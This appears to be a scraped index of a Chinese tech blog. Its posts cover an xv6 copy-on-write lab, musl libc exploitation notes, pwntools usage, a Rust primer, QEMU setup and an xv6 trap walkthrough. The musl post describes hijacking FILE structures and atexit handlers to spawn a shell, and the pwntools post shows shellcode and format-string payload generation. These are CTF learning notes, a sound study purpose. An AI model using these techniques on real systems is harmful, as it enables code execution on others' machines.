kernel/vm.c123456789101112131415161718192021222324252627282930313233intuvmcopy(pagetable_t old, pagetable_t new, uint64 sz){ pte_t *pte; uint64 pa, i; uint flags; for(i = 0; i < sz; i += PGSIZE){ if((pte = walk(old, i, 0)) == 0) panic("uvmcopy: pte should exist"); if((*pte & PTE_V) == 0) panic("uvmcopy: page not present"); pa = PTE2PA(*pte); flags = PTE_FLAGS(*pte); if(flags & PTE_W) { flags = (flags & ~PTE_W) | PTE_COW; } if(mappages(new, i, PGSIZE, pa, flags) != 0){ goto err; } if(flags & PTE_COW) { *pte = PA2PTE(pa) | flags; } krefIncre((void*)pa); } return 0; err: uvmunmap(new, 0, i / PGSIZE, 1); return -1;} 怎么有人总是把 & 和 | 的功能写反 修改 kernel/trap.c 的 usertrap 和 kernel/vm.c 的 copyout,添加遇到 COW 页的情况 注意虚拟地址要小于 MAXVA,否则在 walk 时会直接出现 panic kernel/vm.c12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849intcopyout(pagetable_t pagetable, uint64 dstva, char *src, uint64 len){ uint64 n, va0, pa0; pte_t *pte = 0; while(len > 0){ va0 = PGROUNDDOWN(dstva); if(dstva < MAXVA) { pte = walk(pagetable, dstva, 0); } if(pte && (*pte & PTE_COW)) { if(copyCOW(pte)) { return -1; } } pa0 = walkaddr(pagetable, va0); if(pa0 == 0) return -1; n = PGSIZE - (dstva - va0); if(n > len) n = len; memmove((void *)(pa0 + (dstva - va0)), src, n); len -= n; src += n; dstva = va0 + PGSIZE; } return 0;}intcopyCOW(pte_t *pte) { uint64 pa = PTE2PA(*pte); uint flags = (PTE_FLAGS(*pte) & ~PTE_COW) | PTE_W; *pte = PA2PTE(pa) | flags; if(kref((void*)pa) != 1) { char *mem = kalloc(); if(mem == 0) { return -1; } else { memmove(mem, (char*)pa, PGSIZE); *pte = PA2PTE(mem) | flags; krefDecre((void*)pa); } } return 0;} kernel/trap.c12345if(r_scause() == 15 && r_stval() < MAXVA && (*(pte = walk(p->pagetable, r_stval(), 0)) & PTE_COW)) { // store COW page fault if(copyCOW(pte)) { setkilled(p); } 最后在 kernel/defs.h 里添加一些函数声明即可 Optional challenge exercise测量你的 COW 实现减少了多少字节的复制和多少页物理内存的分配#todo","link":"/2022/11/12/Lab5_Copy_on_write_fork/"},{"title":"Musl libc Exploration","text":"持续更新(或许) 环境:x64 musl-1.2.2 FSOPFILE 结构./src/internal/stdio_impl.h12345678910111213141516171819202122232425262728struct _IO_FILE { unsigned flags; unsigned char *rpos, *rend; int (*close)(FILE *); unsigned char *wend, *wpos; unsigned char *mustbezero_1; unsigned char *wbase; size_t (*read)(FILE *, unsigned char *, size_t); size_t (*write)(FILE *, const unsigned char *, size_t); off_t (*seek)(FILE *, off_t, int); unsigned char *buf; size_t buf_size; FILE *prev, *next; int fd; int pipe_pid; long lockcount; int mode; volatile int lock; int lbf; void *cookie; off_t off; char *getln_buf; void *mustbezero_2; unsigned char *shend; off_t shlim, shcnt; FILE *prev_locked, *next_locked; struct __locale_struct *locale;}; 相比 glibc 的 FILE 结构,musl libc 的 FILE 结构更加简单,也更容易利用 有四类 FILE 指针:ofl_head、stdin、stdout、stderr ofl_head 类似 glibc 的 _IO_list_all,打开的文件链表头,为全局变量 可以直接劫持到伪造的 FILE 结构 stdin、stdout、stderr 固定的三个 FILE 指针,不可劫持 可以更改其指向的内存空间 利用./src/stdio/__stdio_exit.c12345678910111213141516static void close_file(FILE *f){ if (!f) return; FFINALLOCK(f); if (f->wpos != f->wbase) f->write(f, 0, 0); if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);}void __stdio_exit(void){ FILE *f; for (f=*__ofl_lock(); f; f=f->next) close_file(f); close_file(__stdin_used); close_file(__stdout_used); close_file(__stderr_used);} 在 exit() 时会调用 __stdio_exit() ,其中 close_file() 会调用 FILE 的两个函数 write 和 seek FSOP 条件 f->lock == 0 不为 0 会调用 futex 系统调用,然后寄了 flags == “/bin/sh\\x00” 调用的第一个参数都是 FILE 指针,在劫持为 system 时,将 flags 改为 /bin/sh\\x00 即可 调用 write wpo != wbase 调用 seek rpos != rend exit hijack🐧师傅提及的 笔者自己起的名( ./src/exit/atexit.c12345678910111213141516171819202122232425#define COUNT 32static struct fl{ struct fl *next; void (*f[COUNT])(void *); void *a[COUNT];} builtin, *head;static int slot;static volatile int lock[1];volatile int *const __atexit_lockptr = lock;void __funcs_on_exit(){ void (*func)(void *), *arg; LOCK(lock); for (; head; head=head->next, slot=COUNT) while(slot-->0) { func = head->f[slot]; arg = head->a[slot]; UNLOCK(lock); func(arg); LOCK(lock); }} 在 exit() 时,会调用 __funs_on_exit() 通过 head 指针执行注册的终止函数 利用条件 将 head 劫持到可控内存空间 第一个循环因为 slot == 0,会直接跳过 从而 head = head->next *(head->next + 0x100) == addr_system *(head->next + 0x200) == addr_binsh 在理想的堆风水情况下,只需要任意写一次,即可通过 exit() 拿到 shell","link":"/2022/10/11/Musl%20libc%20Exploration/"},{"title":"Pwntools 的安装及使用","text":"记录一下安装 pwntools 的过程和基本使用 Pwntools 安装1pip install pwntools 如果出现下面的 warning WARNING: The scripts asm, checksec, common, constgrep, cyclic, debug, disablenx, disasm, elfdiff, elfpatch, errno, hex, main, phd, pwn, pwnstrip, scramble, shellcraft, template, unhex, update and version are installed in '/home/yahu/.local/bin' which is not on PATH. Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location. 1234# 在 .bashrc 文件添加export PATH=~/.local/bin:$PATH# 然后 source 相应的文件即可source ~/.bashrc 这样就可以直接使用 pwntools 自带的工具,如 checksec、cyclic 等 Pwntools 使用常用工具checksec用于查看文件的保护机制、架构信息等 1234567$ checksec testArch: i386-32-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x8048000) cyclic用于随机生成一串有序字符串 12$ cyclic 50aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama 常用 python 模块环境设置12# 设置 系统、架构、日志输出等级context(os='linux', arch='i386/amd64', log_level='debug') 引入程序12345678from pwn import * # 远程r = remote('8.8.8.8', 8888)# 本地p = process('./test')# 最终进行交互r.interactive()p.interactive() ELF文件1234567891011121314# 引入程序文件def ELF(path : str)elf = ELF('./test') = p.elf# 获取函数地址addr_func = elf.sym['func_name']# 获取函数 plt 地址plt_func = elf.plt['func_name']# 获取函数 got 地址got_func = elf.got['func_name']>>> elf.sym['main']134514548 发送数据1234def send(data : bytes)def sendafter(delim : bytes, data : bytes)p.sendline(bytes)p.sendlineafter(bytes, bytes) 接受数据12345p.recv()p.recv(int)p.recvline()p.recvuntil(bytes)p.recvafter(bytes) 数据处理1234567891011121314151617# 将数据打包成 n 位的二进制包def p8(number : bytes) -> intp16(bytes)p32(bytes)p64(bytes)>>> p32(114514)b'R\\xbf\\x01\\x00'# 将 n 位的二进制包解包成数据def u8(number : int) -> bytesu16(int)u32(int)u64(int)>>> u32(b'R\\xbf\\x01\\x00')114514 其他常用123456789101112131415161718# 格式化字符串漏洞利用def fmtstr_payload(offset : int , writes : map) -> bytes# 偏移为1,将地址为2的值修改成3,将地址为6的值修改成7>>> fmtstr_payload(1, {2 : 3, 6 : 7})b'%3c%6$lln%4c%7$hhnaa\\x02\\x00\\x00\\x00\\x06\\x00\\x00\\x00'# 生成 shellcode 字符串,会随架构设置而生成对应的 shellcodeshellcraft.sh()shellcraft.i386.sh()shellcraft.amd64.sh()shellcraft.arm.sh()# 将字符串形式的汇编转成机器码asm()>>> asm(shellcraft.sh())b'jhh///sh/bin\\x89\\xe3h\\x01\\x01\\x01\\x01\\x814$ri\\x01\\x011\\xc9Qj\\x04Y\\x01\\xe1Q\\x89\\xe11\\xd2j\\x0bX\\xcd\\x80' 一般流程1234567891011from pwn import *context(os='linux', arch='i386', log_level='debug')# r = remote('8.8.8.8', 8888)p = process('./test')elf = ELF('./test')...p.send(payload)p.interactive()","link":"/2022/02/05/Pwntools%20%E7%9A%84%E5%AE%89%E8%A3%85%E5%8F%8A%E4%BD%BF%E7%94%A8/"},{"title":"Rust 入门","text":"仅仅介绍 Rust 的安装、Cargo、变量、数据类型、函数和控制流 环境:Ubuntu 22.04 rustc 1.68.2 安装12345678# 安装$ curl --proto '=https' --tlsv1.2 https://sh.rustup.rs -sSf | sh# 更新$ rustup update# 卸载$ rustup self uninstall 安装时会下载 rustup 工具,并安装最新版 Rust 一系列工具(编译器 rustc 等) rustup 是一个管理 Rust 版本和相关工具的命令行工具 Hello world!程序员传统捏~ hello.rs12345// 使用 rustc hello.rs 编译fn main() { println!("Hello world!");} main 函数:不用多说,程序入口 println!:调用了一个宏(如果是调用函数,后面没有!) "Hello world!":将字符串传递给 println 分号 ; 结尾:大部分语句都以问号结尾 CargoCargo 是 Rust 的构建系统和包管理器。大多数 Rustacean 们使用 Cargo 来管理他们的 Rust 项目,因为它可以为你处理很多任务,比如构建代码、下载依赖库并编译这些库。 下面的命令会创建一个 hello_cargo 的项目 1$ cargo new hello_cargo 里面有一个 Cargo.toml 文件,这是 Cargo 的配置文件 Cargo.toml12345678[package]name = "hello_cargo"version = "0.1.0"edition = "2021"# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html[dependencies] [package]:表明下面为一个包的配置 [dependencies]:罗列项目使用的依赖,依赖的代码包也被称为 crate 构建并运行项目下面的命令用于构建项目,并生成 target 文件夹和 Cargo.lock 文件 1$ cargo build target/debug/hello_carge 为编译出来的可执行文件,我们可以直接运行这个文件,也可以使用下面的命令来编译并运行项目,更加方便 12345$ cargo run Compiling hello_cargo v0.1.0 (/home/humoooor/Code/RustPractice/hello_cargo) Finished dev [unoptimized + debuginfo] target(s) in 0.46s Running `target/debug/hello_cargo` Hello, world! 下面的命令可以检查代码确保可以编译 123$ cargo check Checking hello_cargo v0.1.0 (/home/humoooor/Code/RustPractice/hello_cargo) Finished dev [unoptimized + debuginfo] target(s) in 0.20s 发布项目在构建时使用 --release 参数,来优化编译项目,并在 target/release 目录下生成可执行文件,启用优化编译时间更长,但是运行速度更快,没有调试信息 123$ cargo build --release Compiling hello_cargo v0.1.0 (/home/humoooor/Code/RustPractice/hello_cargo) Finished release [optimized] target(s) in 0.19s 变量和可变性变量定义12345let [mut] {var_name}: {var_type} = {value};let x = "-1";// 将 x 从 "-1" 转换成 -1let x: i32 = x.parse().except(""); value_type 和 value 必须出现一个,在某些情况(如类型转换)下,两者都要出现 每次只可以定义一个变量 可变性 mutable在 Rust 中,变量默认是不可改变的(immutable),在声明变量时在变量名前加上 mut 使其具有可变性 123456789fn main() {dd // x 默认不可变,会出现编译错误 let x = 5; // 添加 mut 后,允许 x 的值改变 // let mut x = 5; println!("value of x: {x}"); x = 6; println!("value of x: {x}");} 常量 const123const {const_name}: {const_type} = {const_value}const PI: f32 = 3.14; 必须注明常量类型 隐藏一个变量名可以重复声明,便于在类型转换等情况时复用变量名,实际上是创建了一个新变量,之前的变量会被隐藏,直到新变量的作用域结束 12345678910111213fn main() { let x = "-5"; { let mut x: i32 = x.parse().expect("Not a number"); x = x + 5; println!("x = {x}"); } println!("x = {x}");}// output:// x = 0// x = -5 基本数据类型Rust 有标量和复合两类数据类型 标量类型整型 integer Len signed unsigned 8-bit i8 i8 32-bit i32 i32 64-bit i64 i64 128-bit i128 i128 arch isize isize Rust 默认类型为 i32 arch 依赖计算机架构,64 位架构 isize 就是 64 位 数字可使用 _ 作为分隔符,方便读数,如 1000 表示为 1_000 也可以使用类型后缀来指定数字类型,如 57u8 为无符号 8-bit 整型 字面值 例子 Hex 0xff Decimal 0o77 Octal 99 Binary 0b11 Byte b’a’ 浮点型 floatRust 浮点数类型有 f32 和 f64,默认为 f64 类型,精度更高 布尔型 booltrue 和 false 两个值 字符型 char12let c = 'z';let heart_eyed_cat: char = '😻'; 这里的 char 大小是四个字节,Unicode 编码,可以表示比 ASCII 更多的内容,如中日韩文、emoji 等 字符型的值必须使用单引号表示,双引号为字符串 复合类型元组 tuple元组可以将多个类型的值组合进一个复合类型,长度不可变,类似 C 语言的结构体 1let tup: (i32, f64, u8) = (500, 6.4, 1); 类型可省略,省略后为默认类型 从元组上取值 12345678let tup: (i32, f64, u8) = (500, 6.4, 1);// 解构,destructuringlet (x, y, z) = tup;// 索引let x = tup.0;let y = tup.1;let z = tup.2; 不带任何值的元组,称为单元元组 数组 array数组的元素类型必须相同,长度固定 12345678910// 数组声明let a = [1, 2, 3, 4];// 长度为 4,元素类型为 i32 的数组let a: [i32; 4] = [1, 2, 3, 4];// 长度为 5,元素全为 3 的数组let a = [3, 5];// 数组元素访问let first = a[0]; 越界访问会直接导致 panic,这是 Rust 的一个安全机制 函数使用 fn 关键字声明函数,函数名和变量名使用 snake case 规范风格,字母全部小写 Rust 不像 C 语言需要在 调用函数 的前面声明 被调用函数 12345678910111213fn {func_name} ({var_name1}: {var_type1}, ..) -> {ret_type}{ ...}fn main() { let x = 1; let y = 2; println!("{x} + {y} = {}", my_func(x, y));}fn my_func(x: i32, y: i32) -> i32 { return x + y;} 必须指定参数类型 表达式和语句Rust 是基于表达式的语言 表达式:计算并产生一个值。大部分 Rust 代码由表达式组成,数学运算、函数调用、宏调用、大括号创建的块作用于都是一个表达式 语句:执行一些操作但不返回值的指令。当表达式结尾加上分号时,它就变成了语句。函数定义也是一个语句 123456789let y = { let x = 3; x + 1};println!("{y}")// output: // 4 这里的代码块 {let x = 3; x + 1} 由于结尾没有分号,是一个表达式,返回值是 4 在有返回值的函数中可以主动使用 return 返回值,也可以隐式地返回函数中最后的表达式 1234567fn my_func(x: i32, y: i32) -> i32 { return x + y;}fn my_func(x: i32, y: i32) -> i32 { x + y} 在返回表达式时,结尾不可加分号,否则它就不是表达式了 控制流Rust 中控制流的表达式必须返回 bool 类型 if-else1234567891011let number = 6;if number % 4 == 0 { println!("number is divisible by 4");} else if number % 3 == 0 { println!("number is divisible by 3");} else if number % 2 == 0 { println!("number is divisible by 2");} else { println!("number is not divisible by 4, 3, or 2");} 在 let 语句中使用 if-else 1234567let condition = true;let number = if condition { 5 } else { 6 };println!("The value of number is: {number}");// output:// 5 loop、while、for12345678910111213141516171819// 无限循环loop { println!("again!");}let a = [1, 2, 3, 4, 5];let mut i = 0;// 两种遍历数组的方式while i < a.len() { println!("a[{i}] = {}", a[i]); i += 1;}// 0..a.len() 相当于 Python 的 range(0, len(a))for i in 0..a.len() { println!("a[{i}] = {}", a[i]);} break、continue 简单的 break、continue 可以跳出一层循环 break、continue 后加上表达式,可以返回值 想要跳出嵌套循环,在指定循环前标记一个循环标签,与 break 或 continue 一起使用,可以作用于标记的循环,循环标签前需要加单引号 ' 12345678910111213141516171819202122232425262728293031323334loop { println!("again!"); break;}// res = 20let res = loop { counter += 1; if counter == 10 { break counter * 2; }}// 嵌套循环let mut count = 0;'counting_up: loop { println!("count = {count}"); let mut remaining = 10; loop { println!("remaining = {remaining}"); if remaining == 9 { break; } if count == 2 { break 'counting_up; } remaining -= 1; } count += 1;}println!("End count = {count}");","link":"/2023/04/04/Rust%20%E5%85%A5%E9%97%A8/"},{"title":"编译并使用 Qemu 安装 Ubuntu","text":"最近由于毕设,记录一下虚拟化相关的内容,主要是与 CPU 虚拟化有关,这里简单记录一下 Qemu 的编译和基本使用 编译 Qemu安装依赖1sudo apt -y install ninja-build build-essential zlib1g-dev pkg-config libglib2.0-dev binutils-dev libpixman-1-dev libfdt-dev 下载源码最新版本为 8.1.2 1wget https://download.qemu.org/qemu-8.1.2.tar.xz 配置编译选项在 Qemu 文件夹中执行下面命令 12mkdir build; cd build../configure --enable-kvm --target-list=x86_64-softmmu --enable-debug --enbale-kvm:开启 KVM 硬件虚拟化支持 --target-list={架构}:指定编译的 CPU 架构,这里只选择 x86_64,不然默认把所有的架构都编译了,没有必要 --enable-debug:开启 Qemu 本体的调试支持 编译1make 安装 Ubuntu 22.04 LTS创建虚拟磁盘文件1qemu-img create -f qcow2 ubuntu.qcow2 20G qcow2 为 Qemu 虚拟机的一种镜像格式,大小为 20G VNC 连接完成安装去官网下载一个 Ubuntu 系统镜像文件 123456qemu-system-x86_64 \\ -m 2G \\ -drive format=qcow2,file=ubuntu.qcow2 \\ -cdrom ~/Downloads/ubuntu-22.04.3-desktop-amd64.iso \\ -vnc [ip]:{port} \\ -enable-kvm -m:指定 2G 内存 -drive:指定虚拟磁盘文件 -cdrom:指定系统镜像文件 -vnc [ip]:{port}:使用 VNC 连接,ip 可省略,端口为 5900 + port -enable-kvm:使用 KVM 进行 CPU 虚拟化 然后使用 VNC 客户端(比如 VNC Viewer)连接进行安装即可 正常启动把系统镜像文件去掉即可正常启动安装好的 Ubuntu 12345qemu-system-x86_64 \\ -m 2G \\ -drive format=qcow2,file=ubuntu.qcow2 \\ -vnc [ip]:{port} \\ -enable-kvm 外部访问虚拟机磁盘挂载123sudo modprobe nbdsudo qemu-nbd -c /dev/nbd0 ubuntu.qcow2sudo mount /dev/nbd0p3 temp_dir 将虚拟磁盘挂载到 temp_dir,它就是虚拟机的根目录 卸载123sudo umount temp_dirsudo qemu-nbd -d /dev/nbd0sudo rmmod nbd","link":"/2024/01/11/%E7%BC%96%E8%AF%91%E5%B9%B6%E4%BD%BF%E7%94%A8%20Qemu%20%E5%AE%89%E8%A3%85%20Ubuntu/"},{"title":"Xv6 剖析","text":"个人对 xv6 这个简易操作系统内核比较感兴趣,就想写一个剖析,看看 xv6 都是怎么实现这些功能的,坚持一周更一个话题 预备知识可以直接读下面的话题,这里是便于读此文章时快速了解 关于 xv6xv6 是一个基于 RISC-V 64 位架构 CPU 的类 Unix 简易操作系统 寄存器通用寄存器 Register ABI Name Description Saver x0 zero Hard-wired zero - x1 ra Return address Caller x2 sp Stack pointer Callee x3 gp Global pointer - x4 tp Thread pointer - x5-7 t0-2 Temporaries Caller x8 s0/fp Saved register / frame pointer Callee x9 s1 Saved register Callee x10-x11 a0-1 Function arguments / return values Caller x12-x17 a2-7 Function arguments Caller x18-27 s2-11 Saved registers Callee x28-31 t3-6 Temporaries Caller 在汇编中一般使用寄存器的 ABI 名字 还有 f 开头的寄存器,用于浮点数,没有列举出来 ra 保存当前函数的返回地址 s0/fp、sp 用于保存栈底和栈顶,注意 s0 和 fp 是同一个寄存器 tp 保存当前 CPU 核 id a0 还用于保存函数返回值 Saver 函数之间除了 a0 寄存器传递返回值外,应该不能互相影响,因此其他寄存器需要被保存下来,Saver 指定当前函数的寄存器是由调用函数还是被调用函数保存 Caller:调用函数 Caller 在函数开始就可以选择 Caller 类寄存器保存下来,一般只保存 ra,具体由编译器选择 Callee:被调用函数 Callee 只保存它会用到的 Callee 类寄存器,在返回到 Caller 前恢复 为什么要分开保存呢? Callee 类的寄存器不能确定下层函数会不会用到,而且随时会变化,每次调用函数前后都存取一遍,性能会降低很多,为了提高性能,由被调用者来保存更加合适 控制状态寄存器CSR(Control Status Register) pc:指向下一条将要指向指令的地址 Program Counter satp:保存一级页表的物理地址 Supervisor Address Translation and Protection stvec:保存发生 trap 时跳转的地址 Supervisor Trap Vector Base Address Register 用户模式下会指向 kernel/trapmpoline.S 的 uservec 管理者模式下会指向 kernel/kernelvec.S 的 kernelvec sepc:保存发生 trap 时 pc 的值,便于返回到用户进程 Supervisor Exception Program Counter 内核可控制 sepc 让 sret 返回到适当的位置 scause:记录发生 trap 的原因,内核根据这个做进一步处理 Supervisor Cause Register 8 表示系统调用 其他表示错误或者中断 sstatus:以 bitmap 形式保存一些控制信息 Supervisor Status Register SPP:表示 trap 来自用户模式还是管理者模式,并用来告诉 sret 返回到哪个模式 SIE:表示在管理者模式下是否允许中断,0 表示禁止,RISC-V 会推迟硬件中断 sscatch:在内核态与用户态时起辅助作用 一般用来保存 a0 在 xv6 的 2020 版本用来保存 trapframe 地址 汇编指令 csrr、csrw 用于读写 CSR sfence.vma 清空 TLB 缓存 ecall(Environment Call) 将模式从用户模式更改为管理者模式(sstatus 的 SPP 位) 将 pc 寄存器保存到 sepc 寄存器 将 pc 寄存器改为 stvec 寄存器值 关闭硬件中断(将 sstatus 的 SIE 位设为 0) sret(Supervisor Return) 将模式从管理者模式更改为指定的模式(sstatus 的 SPP 位) 将 pc 寄存器改为 sepc 寄存器值 启用硬件中断(将 sstatus 的 SIE 位设为 1) 地址空间 trampline:在内核页表和用户页表中都有映射,作为用户进程切换到内核的跳板,放在虚拟地址空间的顶部(0x3ffffff000),大小为一页 trapframe:在用户页表中有映射,用于切换到内核时保存用户进程的上下文,放在 trampoline 下面(0x3fffffe000),大小为一页 其他kernel/proc.h123456struct cpu { struct proc *proc; // The process running on this cpu, or null. struct context context; // swtch() here to enter scheduler(). int noff; // Depth of push_off() nesting. int intena; // Were interrupts enabled before push_off()?}; proc 保存当前 CPU 核运行的进程 context 保存内核用于调度功能的线程的上下文 怎么在内核和用户进程间切换在 RISC-V 中,有三种 trap 硬件中断 系统调用 异常 后两个也称为软件中断 在用户进程中发生 trap 时,需要陷入到内核中进行处理,处理完后内核会根据情况回到用户进程或者杀死用户进程,这其中就涉及到内核和用户进程间的切换 切换过程发生 trap 时,硬件会执行以下操作 将 sstatus 中的 SIE 位清零,禁用硬件中断以防止干扰,如果这个 trap 是硬件中断,不会做以下操作 将模式从用户模式更改为管理者模式 将 pc 寄存器的值复制到 sepc 寄存器中 将当前模式(用户或者管理者)保存到 sstatus 寄存器的 SPP 位 设置 scause 寄存器的值反映 trap 原因 将 stvec 寄存器的值复制到 pc 寄存器中 此时 pc 指向 trampoline,开始执行,注意,此时页表寄存器并没有便,也就是说还使用着用户进程的页表 kernel/trampoline.S123456789101112131415161718192021222324252627282930313233343536.globl uservecuservec: # 缓存 a0 csrw sscratch, a0 # 把 trapframe 地址放到 a0 中 li a0, TRAPFRAME # 把用户寄存器保存到 trapframe 中,kernel/proc.h 中对应着变量地址 sd ra, 40(a0) sd sp, 48(a0) # 此处省略... sd t5, 272(a0) sd t6, 280(a0) # 再把原 a0 的值保存进去 csrr t0, sscratch sd t0, 112(a0) # 从 trapframe 中取出内核栈的指针、CPU 核的 id、处理 trap 的地址、内核页表 ld sp, 8(a0) ld tp, 32(a0) ld t0, 16(a0) ld t1, 0(a0) # 清空 TLB 缓存,这里英文注释是写等待之前的内存操作全部完全,不是很懂 sfence.vma zero, zero # 切换到内核页表 csrw satp, t1 # 清空 TLB 缓存 sfence.vma zero, zero # 跳转到处理 trap 的地方,也就是 kernel/trap.c 的 usertrap 函数地址 jr t0 总结: 将用户进程的寄存器保存到 trapframe 中 切换内核栈,内核线程 id,内核页表 跳转到 kernel/trap.c 的 usertrap 函数 uservec 主要就是做好切换到内核的准备 kernel/trap.c123456789101112131415161718192021222324252627282930313233343536voidusertrap(void){ // ... // 设置 stvec 为 kernelvec,如果此时发生了 trap 会跳转到 kernelvec 进行处理 w_stvec((uint64)kernelvec); // 使用 myproc 获取当前进程 struct proc *p = myproc(); // 保存用户进程的 pc 到 trapframe p->trapframe->epc = r_sepc(); // 根据发生 trap 的原因处理 trap if(r_scause() == 8){ // 系统调用 // ... } else if((which_dev = devintr()) != 0){ // 硬件中断 // ... } else { // 其他异常 // ... } // 如果用户进程被杀死就退出 if(killed(p)) exit(-1); // 如果是计时器中断,则进行进程调度 if(which_dev == 2) yield(); usertrapret();} 总结: 把 stvec 改成 kernelvec 以处理发生在内核的 trap 保存用户进程的 pc 到 trapframe 根据 scause、devintr 处理 trap 检查是否计时器中断,若是则进行进程调度 检查进程是否被杀死,若是则退出 跳转到 usertrapret 函数 usertrap 主要就是根据 trap 类型处理 trap kernel/trap.c12345678910111213141516171819202122232425262728293031323334353637voidusertrapret(void){ struct proc *p = myproc(); // 关闭硬件中断,因为后面要切换 stvec 为 uservec,但是现在又在内核态,如果发生硬件中断会导致混乱 intr_off(); // 把 uservec 的地址写入 stvec 寄存器 uint64 trampoline_uservec = TRAMPOLINE + (uservec - trampoline); w_stvec(trampoline_uservec); // 保存内核页表、内核栈、usertrap 地址、CPU 核 id p->trapframe->kernel_satp = r_satp(); // kernel page table p->trapframe->kernel_sp = p->kstack + PGSIZE; // process's kernel stack p->trapframe->kernel_trap = (uint64)usertrap; p->trapframe->kernel_hartid = r_tp(); // hartid for cpuid() // set up the registers that trampoline.S's sret will use // to get to user space. // 设置 sstatus 寄存器 unsigned long x = r_sstatus(); x &= ~SSTATUS_SPP; // SPP 位清零,以便 sret 返回到用户模式 x |= SSTATUS_SPIE; // SPIE 位置 1,允许用户模式下硬件中断 w_sstatus(x); // 把用户进程的 pc 写入 sepc w_sepc(p->trapframe->epc); // 取出用户页表 uint64 satp = MAKE_SATP(p->pagetable); // 取出 userret 地址,准备调用,并传递用户页表进去 uint64 trampoline_userret = TRAMPOLINE + (userret - trampoline); ((void (*)(uint64))trampoline_userret)(satp);} 总结: 保存内核页表、内核栈、CPU 核的 id 配置 sstatus 寄存器 调用 userret 并传递用户页表 usertrapret 主要是处理 trap 后为返回到用户进程做准备 kernel/trampoline.S1234567891011121314151617globl userretuserret: # 转换到用户页表 sfence.vma zero, zero csrw satp, a0 sfence.vma zero, zero # 从 trapframe 中取出用户进程的寄存器值 li a0, TRAPFRAME ld ra, 40(a0) ld sp, 48(a0) # 此处省略... ld t6, 280(a0) ld a0, 112(a0) # 返回到用户模式和用户进程的 pc 所指位置 sret userret 主要是恢复用户进程的上下文,回到发生 trap 的位置(或者发生 trap 位置后面一个指令,比如 ecall 后面的指令) 省流小结真省流吗? 用户进程 -> uservec -> usertrap -> usertrapret -> userret -> 用户进程 发生 trap 时,程序会跳转到 stvec 寄存器指向的 kernel/trampoline.S 中的 uservec 保存用户进程的上下文,并设置内核栈、内核线程 id、内核页表 然后跳转到 kernel/trap.c 中的 usertrap 对 trap 进行处理 如果要恢复到用户进程,会跳转到 kernel/trap.c 的 usertrapret 为返回到用户进程做准备 最后跳转到 kernel/trampoline.S 中的 userret 恢复用户进程上下文,回到发生 trap 的位置(或者发生 trap 位置后面一个指令,比如 ecall 后面的指令) 怎么实现系统调用在 user/user.h 我们可以看到系统调用函数的声明 user/user.h12345678int fork(void);int exit(int) __attribute__((noreturn));int wait(int*);int pipe(int*);int write(int, const void*, int);int read(int, void*, int);... 那么,就有一个问题,系统调用明明是要用 ecall 来使用,xv6 是怎么把系统调用做成一个函数,使得用户程序像调用函数那样调用系统调用? 怎么制作用户系统调用函数我们可以在 user/usys.S 看到系统调用函数在汇编中的定义 user/usys.S123456789101112131415161718#include "kernel/syscall.h".global forkfork: li a7, SYS_fork ecall ret.global exitexit: li a7, SYS_exit ecall ret.global waitwait: li a7, SYS_wait ecall ret... 可以观察到,每一个系统调用函数都只是将系统调用号传递给 a7,然后使用 ecall 调用系统调用,最后返回到上一层函数 而参数传递是用户程序在调用系统调用函数之前,会根据函数声明将参数传递给对应的寄存器,然后跳转到系统调用函数的地址执行 这个 user/usys.S 文件其实是由一个 perl 脚本 user/usys.pl 生成的,便于添加系统调用 好的,上面解释了系统调用函数的实现,下面就看看 ecall 到底做了什么来请求内核完成系统调用 怎么请求内核完成系统调用ecall 是由用户进程主动陷入 trap 请求内核完成系统调用的汇编指令 它会使 scause 寄存器值设为 8,在 RISC-V 中它代表着系统调用 在切换到内核态后,跳转到 kernel/trap.c 的 usertrap 我们仔细看看 kernel/trap.c 的 usertrap 怎么处理系统调用的 kernel/trap.c123456789101112131415161718192021222324voidusertrap(void){ // ... // 当检查到 trap 原因是系统调用时 if(r_scause() == 8){ // 先检查用户进程是否被其他进程杀死 if(killed(p)) exit(-1); // 把 epc 加 4,ecall 指令占 4 字节,在恢复到用户进程时,跳转到 ecall 后面的指令 p->trapframe->epc += 4; // 启用硬件中断 intr_on(); // 开始处理系统调用 syscall(); } // ...} usertrap 检查到是系统调用时,将 epc 的值加 4,以便返回时执行 ecall 后面的指令,然后跳转到处理系统调用的函数 syscall kernel/syscall.c1234567891011121314151617181920212223242526272829303132// 处理系统调用的函数的原型extern uint64 sys_fork(void);extern uint64 sys_exit(void);// ...extern uint64 sys_mkdir(void);extern uint64 sys_close(void);static uint64 (*syscalls[])(void) = {[SYS_fork] sys_fork,[SYS_exit] sys_exit,// ...[SYS_mkdir] sys_mkdir,[SYS_close] sys_close,};voidsyscall(void){ int num; struct proc *p = myproc(); // 取出系统调用号,检查对应的系统调用是否存在,不存在则打印错误 num = p->trapframe->a7; if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { // 存在则执行对应的系统调用处理函数,并把返回值存到 a0 中,后面会传递给用户进程 p->trapframe->a0 = syscalls[num](); } else { printf("%d %s: unknown sys call %d\\n", p->pid, p->name, num); p->trapframe->a0 = -1; }} syscall 会根据用户进程指定的系统调用号执行指定的系统调用处理函数 最后会经过 usertrapret、userret 返回到用户进程 省流小结ecall -> uservec -> usertrap -> syscall -> usertrapret -> userret -> ecall + 4 关键在于 syscall 根据系统调用号调用对应的系统调用处理函数 怎么获取系统调用所需的用户参数#todo 怎么实现可变参数 printf 并输出这里介绍内核的 printf(kernel/printf.c) 可变参数其实可变参数是由 C 语言库和编译器来实现的 C 语言库中给出了 va_start、va_arg、va_end 接口,这里只简单介绍一下,想详细了解可参考末尾的链接,不过是 x86_64 架构,原理类似 va_list:一个变量类型,variable arguments list 可变参数列表 va_start(v, l):初始化可变参数列表,l 为函数的第一个参数名 va_arg(v, type):从可变参数列表中取出一个参数,须指定参数类型 va_end(v):结束时释放 va_list 内存 我们知道 RISC-V 前 8 个参数是放在 a0-7 寄存器中,它是怎么又从寄存器中取值又从栈中取值的 答案是编译器会将除 a0 以外的寄存器全部压到栈中,这样所有参数都是连续存储在栈中,便于取值,但是不要自己去取地址然后输出(笑),要用 C 语言库的接口 输出到硬件每次输出时将一个字符传给硬件,硬件回显给控制台 内核中有 consputc 就是将字符传给硬件的函数,在 kernel/console.c 中 